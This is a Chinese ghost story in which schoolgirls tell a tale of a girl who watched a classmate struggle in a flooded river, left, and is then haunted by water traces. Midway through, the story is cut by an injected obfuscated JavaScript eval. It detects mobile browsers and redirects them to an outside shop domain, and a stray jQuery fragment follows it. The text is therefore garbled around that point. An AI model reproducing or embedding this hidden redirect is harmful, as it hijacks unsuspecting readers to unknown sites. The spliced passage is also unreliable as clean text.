阒篇第八则水痕
午后的雷雨来得毫无预兆。
第四节课开始的时候，窗外还只是阴了一些，到了临近下课，天色却已经彻底暗了下来。厚重的乌云压在校园上空，风从教学楼之间穿过去，把操场边的树吹得不断摇晃。雨点先是稀疏地落在玻璃上，很快便密集起来，最后连远处的教学楼都被雨幕遮得模糊不清。
老师讲完最后一道题，下课铃终于响了。
她抱着课本离开教室以后，几个原本准备出去玩的同学也都留了下来。外面的雨实在太大，走廊里偶尔有人经过，脚步匆匆，没过多久便重新安静下来。西西趴在窗边，看着操场上积起的水，忽然说起了洪水。有人说这么大的雨，学校旁边的小河说不定会涨水；另一个同学说自己小时候见过汽车被洪水冲走；还有人拍着胸脯说，如果真的有人掉进河里，自己肯定会毫不犹豫地下去救人。
“你不会游泳吧？”西西问。
“那我就先叫人啊。”
“如果附近没人呢？”
“那就……”
几个人说到这里，都停了一下。
里奈原本坐在自己的位置上翻笔记本，听见他们的谈话，忽然抬起头。“如果你站在一座桥上，看见一个人掉进河里呢？”她问。
西西转过身：“那当然要救。”
“如果你不会游泳？”
“那就找人。”
“如果没有手机，附近也没有人呢？”
窗外一道闪电划过，几秒以后，雷声沉沉地传来。孩子们不约而同地看向窗外。里奈没有再追问，只是低头翻过一页纸，轻声说道：“如果那个人还是你认识的同学呢？”
没有人回答。
里奈看着玻璃上不断往下流淌的雨水，过了一会儿才说：“我给你们讲一个故事吧。”
“什么故事？”
“一个女孩站在桥上，看见自己的同学被河水冲走了。”
她停顿了一下。
“可是她没有救她。”
“这个故事叫《水痕》。”
＊＊＊
那一天的台风来得比任何人预想的都要猛烈。
学校下午临时通知提前放学。小雨收拾好书包，站在教学楼门口看了一会儿外面的雨，最后还是撑起伞走了出去。
她没有带手机。早上出门的时候，手机只剩下一点电，母亲让她留在家里充电，她想着放学以后直接回家，也就没有在意。可真正走出校门以后，她才发现这场风雨远比想象中可怕。沿街的店铺纷纷落下卷帘门，公交车站空荡荡的，偶尔有汽车从积水里驶过，也很快消失在灰白色的雨幕中。风把雨水横着吹过来，她不得不低着头，一只手紧紧抓住伞柄。
她回家的路要经过学校旁边的一座桥。
那条河并不宽，平日里的水流甚至有些缓慢，岸边还种着一排树。可连续不断的暴雨让河水迅速上涨，原本露在外面的河岸已经被浑浊的水淹没了一大片，水面上漂着断裂的树枝和被冲下来的落叶。
小雨走到桥中央的时候，本来只是想快点穿过去。
可就在她低头看向河面的一瞬间，远处忽然有一个黑影随着水流翻了一下。
她以为那是一截树枝。
可是那个黑影又动了一下。
她停住脚步，扶着桥栏，努力朝远处望去。
雨实在太大了。
风把整片河面笼罩在一层模糊的水雾里，河对岸的树木只剩下晃动的黑影，视线能够辨认的距离非常有限。她只能看见远处的水面上有一个人在挣扎，身体不断随着水流起伏。
小雨眯起眼睛，直到那个人又一次浮出水面，她才终于认出了那身校服。
是她的同班同学。
那个全班都不太喜欢的女生。
她平时不怎么注意个人卫生，头发经常乱糟糟的，校服也总是皱巴巴的，身上还带着一种很明显的异味。班上的同学经常在背后议论她，有人会在她走过来的时候捂住鼻子，也有人故意不和她坐在一起。小雨自己也一样，从来没有主动和她说过几句话。
可是此刻，她正在很远的河水里挣扎。
小雨看不清她的脸，甚至不知道她有没有睁开眼睛。那个女生似乎也完全没有发现桥上的人，只是拼命想让自己浮在水面上。她的一只手紧紧抓着一把已经被风吹得变形的雨伞，另一只手不断向岸边伸去，似乎想用伞柄勾住什么。
她第一次伸出去，没有碰到任何东西。
第二次，她勾到了一根从河岸伸进水里的树枝。
小雨看见她的动作明显停了一下。
那一瞬间，她似乎以为自己得救了。
可是树枝太细，河水的力量又太大。女生拼命抓住伞柄，身体却仍然一点一点向下游滑去。树枝弯到了极限，最后发出一声几乎听不见的脆响，从伞柄上挣脱开来。
女生重新被水流卷走。
她浮上来，剧烈地喘息着，手臂不断挥动。
小雨站在桥上，手指紧紧攥着伞柄。
她应该喊人。
这是她脑子里第一个念头。
哪怕只是大喊一声，告诉附近有人落水，也许会有人听见。可是她低头看了看空荡荡的街道，又摸了摸自己的口袋，才想起手机根本不在身上。
她不会游泳。
河水又这么急。
如果自己跳下去，也许两个人都会死。
她不断给自己找理由。她告诉自己，这种天气总会有人发现，附近一定会有人报警；她告诉自己，自己没有能力救人；她甚至告诉自己，她没有义务为了一个自己并不喜欢的人冒生命危险。
可无论她怎么说服自己，河里的那只手都始终没有消失。
女生仍在挣扎。
她似乎想抓住什么，又似乎只是本能地挥动着手臂。她一次次被水流冲远，又一次次从浑浊的河面浮起来。
小雨站在桥上看着。
她忽然意识到了一件让自己更加难受的事情。
那个女生根本不知道自己被人看见了。
她不知道桥上站着一个同班同学。
不知道有人正在看着她挣扎。
更不知道这个人最后会转身离开。
小雨站了很久。
最终，她还是转过身。
她告诉自己，她什么也做不了。
然后走下了桥。
她没有回头。
走出一段距离以后，她开始跑，仿佛只要跑得足够快，就能把身后的河水和那只挥动的手一起甩掉。
可是那天晚上，她第一次发现，有些东西不是跑远了就能消失的。
＊＊＊
台风一直持续到深夜。
小雨躺在床上，听着窗外的风声和雨声，始终无法真正睡着。她闭上眼睛，就会想起下午河里的那个女生。她想起那把被风吹坏的雨伞，想起她努力伸向岸边的手，也想起自己最后转身离开的背影。
她一遍遍告诉自己，她没有错。
她不会游泳。
她没有手机。
她不可能在那种天气里跳进那样的河里。
她只是没有能力救人。
可是到了半夜，她忽然闻到了一股很淡的味道。
潮湿的泥土，腐烂的树叶，还有河水混杂着某种说不清的气味。
小雨猛地睁开眼睛。
房间里没有任何异常。
窗户关着，地板也是干的。
她坐在床上，过了很久，那股味道才慢慢消失。
她重新躺下。
这一夜，她几乎没有合眼。
＊＊＊
第二天早晨，小雨走进学校。
教室里正在讨论昨天的台风。有人说自己家附近停电了，有人说小区门口积了很深的水，还有人说学校旁边的河差一点漫过堤岸。
小雨低着头走到自己的座位。
然后，她看见了那个女生。
她坐在那里。
活生生地坐在那里。
正在翻一本练习册。
小雨停在原地，脑子里一片空白。
那个女生抬起头，看见她以后甚至和平常一样说了一声：“早。”
小雨没有回答。
她慢慢走到自己的位置，经过那个女生身边时，闻到了那股熟悉的气味。
只是今天，那股味道里多了一些潮湿的河水味。
她坐下来，努力告诉自己，也许昨天根本不是她。
雨那么大，能见度那么低，她没有看清那个人的脸。也许只是自己认错了。
可是几分钟以后，她听见了一声很轻的水滴声。
滴答。
她抬头。
那个女生的发梢挂着一滴水。
水珠落在桌角。
没有人注意。
小雨盯着那滴水看了很久。
女生却像什么都没有发生一样继续看书。
＊＊＊
接下来的一个上午，小雨越来越无法确定自己看到的究竟是什么。
那个女生和平时没有区别。她会被同学嫌弃，会因为答错问题被老师提醒，也会在下课的时候一个人坐在座位上。没有人觉得她有什么奇怪的地方。
只有小雨知道，她的鞋底总是湿的。
一开始只是很浅的水印，后来她发现，那些水痕甚至会从女生的座位下面慢慢向外延伸。
有一次，她低头时看见一条细细的水迹从桌脚旁爬出来，一直来到自己的鞋尖前。
她吓得立刻缩回脚。
就在这时，身后传来那个女生的声音。
“你昨天看见我了吗？”
小雨整个人僵住。
她慢慢转过头。
那个女生正在看她。
“什么？”
“昨天。”女生说，“你不是在桥上吗？”
小雨的脸一下子变得苍白。
她张了张嘴，却没有回答。
女生却只是低下头，继续写自己的作业，好像刚才什么都没有发生。
小雨回过身。
她发现自己的手心已经全是冷汗。
＊＊＊
午休时，小雨去了洗手间。
整个洗手间都很安静，只有水龙头滴答作响。
她洗完手，刚准备离开，旁边的隔间里忽然传来哗啦一声水响。
她停下来。
水声又响了一次。
像有人正在里面洗手。
“有人吗？”
没有回答。
小雨慢慢走过去，发现隔间门下面有水流出来。
那水不是清澈的，里面混着细小的泥沙，甚至还有一片绿色的水草。
她后退了一步。
就在这时，隔间里传来了一个声音。
“你为什么不叫我？”
她认出了那个声音。
小雨的身体一下僵住。
她没有回答。
隔间里的水声渐渐停止。
她站在那里很久，最后鼓起勇气拉开了门。
里面没有人。
只有地面上一滩浅浅的水。
小雨低头看着水面。
水面倒映着她的脸。
然后，她看见自己身后的水面里，出现了另一个人的影子。
一个湿漉漉的女孩站在她身后。
小雨猛地转身。
身后什么也没有。
再低头时，那滩水已经不见了。
＊＊＊
下午体育课，那个女生没有参加活动。
她一个人坐在操场边。
昨天的暴雨已经过去，阳光从云层里照下来，操场上的积水正在一点点蒸发。
可是她坐过的地方，却始终是湿的。
小雨远远看着她。
她不敢靠近。
体育老师让她去器材室拿东西，她只能硬着头皮经过那个女生身边。
就在她经过的时候，女生忽然开口：“昨天你为什么跑？”
小雨停住脚步。
“我不知道你在说什么。”
“你看见我了。”
小雨没有回答。
女生看向远处的操场，过了一会儿才轻声说道：“我一直在找人。可是我没有看见任何人。”
小雨的呼吸渐渐变得急促。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926022|213529||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“后来我才发现，你站在桥上。”
她终于忍不住转身看她。
女生却只是低头看着自己的手。
“你为什么不叫我？”
小雨没有回答。
她转身快步离开。
走出去很远以后，她才敢回头。
那个女生依旧坐在那里。
只是她脚下的水痕已经比刚才更大了。
＊＊＊
放学以后，小雨故意留在教室里。
她不想再和那个女生一起走。
等到同学们几乎都离开以后，她才慢慢收拾好书包。
就在她起身的时候，她看见那个女生的座位下面出现了一滩水。
水从桌脚下面缓慢地流出来。
小雨后退一步。
那滩水也向前扩散了一点。
她再后退。
水又向前了一点。
她忽然明白了。
它正在朝自己流过来。
小雨抓起书包，转身准备离开。
“今天不要走桥。”
女生的声音从身后传来。
她停住。
“为什么？”
女生没有回答。
过了一会儿，她才说：“不要再看着我了。”
小雨没有听懂。
可她也不敢再问。
她离开教室。
＊＊＊
可是最后，她还是走上了那座桥。
也许是因为不相信。
也许是因为她想证明昨天的一切只是自己在暴雨中的错觉。
傍晚的河水已经恢复平静。
河面上漂着几片叶子，夕阳被云层切成暗淡的红色。
小雨走到桥中央。
身后忽然传来脚步声。
啪嗒。
她停住。
脚步声也停住。
她回头。
桥上没有人。
她继续走。
啪嗒。
啪嗒。
声音再次响起来。
这一次，比刚才近得多。
小雨猛地回头。
那个女生站在桥的另一端。
她的头发湿漉漉地垂在脸旁，校服也完全湿透了。水从衣角一点一点往下滴，在她脚边形成一小滩水。
她没有撑伞。
却像刚刚从河里走出来。
“你为什么不叫我？”
小雨不断后退。
“我……”
“你明明看见我了。”
“我救不了你。”
“我知道。”
“我不会游泳。”
“我知道。”
“我没有手机。”
女生沉默了一会儿。
“那你为什么跑？”
小雨哭了。
她想回答，却发现自己根本不知道该说什么。
“我害怕。”
女生看着她。
“我也害怕。”
她一步一步走近。
小雨不断后退。
直到脚后跟碰到了河岸。
她低头看见自己的脚边不知道什么时候已经出现了水。
一滩。
又一滩。
水痕从桥上一路延伸过来，仿佛有人从很远的地方湿漉漉地走到了这里。
“如果那天你喊一声呢？”
小雨摇头。
“我不知道。”
“如果你去找人呢？”
“我不知道。”
“如果你留下来呢？”
“我不知道！”
小雨终于哭喊起来。
“我真的不知道！”
女生站在那里看着她。
她没有生气，也没有笑。
只是很安静地看着她。
然后，风忽然停了。
所有声音都消失了。
小雨睁开眼睛。
面前空无一人。
没有那个女生。
没有脚步声。
没有风。
只有河岸和桥。
以及地面上一滩又一滩的水。
小雨低头看着自己的鞋。
鞋边已经湿透。
她慢慢转过身。
身后什么都没有。
她不知道刚才发生的究竟是真的还是假的。
也不知道那个女生到底有没有活下来。
可是有一件事，她再也无法否认。
昨天，她站在桥上。
她看见了她。
而她最后选择了离开。
＊＊＊
“后来呢？”
西西的声音把大家从故事里拉了回来。
里奈已经合上了笔记本。
窗外的雷雨也已经小了很多。
“那个女生死了吗？”
“不知道。”
“她最后去哪儿了？”
“也不知道。”
西西皱起眉头：“你怎么总是不告诉我们答案？”
里奈笑了一下。
“因为故事里的女孩也不知道。”
几个孩子沉默了一会儿。
窗外的雨水顺着屋檐落下来，操场上积起的水面泛着一圈圈细小的波纹。
西西忽然看向教室门口。
那里不知什么时候留下了一小片水痕。
她盯着看了几秒。
“谁的鞋湿了？”
没有人回答。
第二遍上课铃响了。
孩子们赶紧回到自己的位置，刚才围在里奈身边的人也各自散开。老师很快推门进来，教室重新恢复了上课前的安静。
里奈坐在自己的位置，翻开下一页笔记。
她没有再看门口。
只有窗外最后一阵风吹过来，把雨后的空气送进教室。
那片水痕仍然留在那里。
没有人知道它从哪里来。
也没有人知道它什么时候会干。
有些水流过去以后，什么都不会留下。
可是被水经过的地方，总会留下痕迹。